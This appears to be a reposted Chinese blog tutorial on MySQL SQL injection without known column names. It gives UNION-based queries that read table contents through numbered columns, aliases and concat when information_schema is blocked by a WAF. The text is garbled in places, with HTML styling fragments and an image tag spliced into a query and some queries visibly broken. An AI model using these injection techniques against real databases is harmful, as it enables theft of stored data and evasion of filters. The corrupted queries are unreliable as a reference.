MySQL在不知道列名情況下的注入詳解
阿新 • • 發佈:2020-01-09
前言
最近感覺腦子空空,全在為了刷洞去挖洞,還是迴歸技術的本身讓自己舒服些。好了,下面話不多說了,來一起看看詳細的介紹吧
前提
以下情況適用於 MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema庫],且已獲取到庫名和表名
① 當只能獲取到表名,獲取不到列名或者只能獲取到無有效內容的列名情況【例如 id】
② 當希望通過information_schema庫中的表去獲取其他表的結構,即表名、列名等,但是這個庫被WAF過濾掉的情況
其實個人感覺這個方法還是對 5 版本以下的實用性比較強一些,因為對我來說,一般遇到waf就放棄了(菜的真實23333)
解決
正常的查詢:
以下是正常查詢 test 庫中的 user 表內容
select * from user;
UNION查詢:
select 1,2,3,4 union select * from user;
數字對應列查詢:
可以使用數字來對應列來進行查詢,如 2 對應了表裡面的 name 列
select `2` from (select 1,4 union select * from user)a;
別名代替查詢:
當反引號 ` 不能使用的時候,可以使用別名來代替,如設定 2 的別名為 b
select b from (select 1,2 as b,255); text-indent: 0px; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial" src="http://img.cppcns.com/pic.php?url=/file_images/article/201903/2019323100312030.png?201922310319" />多列合併查詢:
同上:這裡反引號不能用的話,一樣可以使用別名代替
select concat(`2`,0x3a,`3`) from (select 1,4 union select * from user)a limit 1,1;僅作翻譯以及思路整理
原文連結:https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對我們的支援。